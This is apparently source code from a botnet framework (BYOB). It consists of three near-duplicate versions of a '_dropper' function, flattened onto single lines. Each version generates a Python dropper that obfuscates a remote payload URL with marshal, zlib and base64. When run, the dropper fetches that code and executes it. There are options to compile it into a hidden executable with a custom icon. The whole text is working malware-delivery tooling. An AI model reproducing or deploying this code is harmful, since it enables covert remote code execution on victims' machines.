def _dropper(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=' ') util.display("Dropper", color='reset', style='bright') util.display('\tWriting dropper... ', color='reset', style='normal', end=' ') assert 'url' in kwargs, "missing keyword argument 'url'" assert 'var' in kwargs, "missing keyword argument 'var'" assert 'hidden' in kwargs, "missing keyword argument 'hidden'" name = 'byob_{}.py'.format(kwargs['var']) if not options.name else options.name if not name.endswith('.py'): name += '.py' dropper = """import sys,zlib,base64,marshal,json,urllib if sys.version_info[0] > 2: from urllib import request urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format(repr(base64.b64encode(zlib.compress(marshal.dumps("urlopen({}).read()".format(repr(kwargs['url'])),2))))) with open(name, 'w') as fp: fp.write(dropper) util.display('({:,} bytes written to {})'.format(len(dropper), name), style='dim', color='reset') if options.freeze: util.display('\tCompiling executable...\n', color='reset', style='normal', end=' ') name = generators.freeze('modules/payloads/' + kwargs['var'] + '.py', icon=options.icon, hidden=kwargs['hidden']) util.display('({:,} bytes saved to file: {})\n'.format(len(open(name, 'rb').read()), name)) return name
def _dropper(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=',') util.display("Dropper", color='reset', style='bright') util.display('\tWriting dropper... ', color='reset', style='normal', end=',') assert 'url' in kwargs, "missing keyword argument 'url'" assert 'var' in kwargs, "missing keyword argument 'var'" assert 'hidden' in kwargs, "missing keyword argument 'hidden'" name = 'byob_{}.py'.format(kwargs['var']) if not options.name else options.name if not name.endswith('.py'): name += '.py' dropper = "import zlib,base64,marshal,urllib;exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))".format(repr(base64.b64encode(zlib.compress(marshal.dumps("import zlib,base64,marshal,urllib;exec(marshal.loads(zlib.decompress(base64.b64decode(urllib.urlopen({}).read()))))".format(repr(kwargs['url'])))))) if options.compress else repr(base64.b64encode(zlib.compress(marshal.dumps("urllib.urlopen({}).read()".format(repr(kwargs['url']))))))) with open(name, 'w') as fp: fp.write(dropper) if options.freeze: util.display('\tCompiling executable... \n', color='reset', style='normal', end=',') __load__ = threading.Event() __spin__ = _spinner(__load__) name = generators.freeze(name, icon=options.icon, hidden=kwargs['hidden']) __load__.set() util.display('(saved to file: {})\n'.format(name), style='dim', color='reset') return name
def _dropper(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=' ') util.display("Dropper", color='reset', style='bright') util.display('\tWriting dropper... ', color='reset', style='normal', end=' ') assert 'url' in kwargs, "missing keyword argument 'url'" assert 'var' in kwargs, "missing keyword argument 'var'" assert 'hidden' in kwargs, "missing keyword argument 'hidden'" if not os.path.isdir('modules/clients'): try: os.mkdir('modules/clients') except OSError: util.log( "Permission denied: unabled to make directory './modules/clients/'" ) if not os.path.isdir('modules/clients/droppers'): try: os.mkdir('modules/clients/droppers') except OSError: util.log( "Permission denied: unabled to make directory './modules/clients/droppers/'" ) dirs = [ 'modules/clients/droppers', 'byob/modules/clients/droppers', 'byob/byob/modules/clients/droppers' ] dirname = '.' for d in dirs: if os.path.isdir(d): dirname = d name = 'byob_{}.py'.format( kwargs['var']) if not options.name else options.name if not name.endswith('.py'): name += '.py' path = os.path.join(os.path.abspath(dirname), name) dropper = """import sys,zlib,base64,marshal,json,urllib if sys.version_info[0] > 2: from urllib import request urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format( repr( base64.b64encode( zlib.compress( marshal.dumps( "urlopen({}).read()".format(repr(kwargs['url'])), 2))))) with open(path, 'w') as fp: fp.write(dropper) util.display('({:,} bytes written to {})'.format( len(dropper), path.replace(os.getcwd(), '')), style='dim', color='reset') if options.freeze: util.display('\tCompiling executable...\n', color='reset', style='normal', end=' ') name = generators.freeze('modules/clients/payloads/' + kwargs['var'] + '.py', icon=options.icon, hidden=kwargs['hidden'], debug=options.debug) util.display('({:,} bytes saved to file: {})\n'.format( len(open(name, 'rb').read()), name)) return name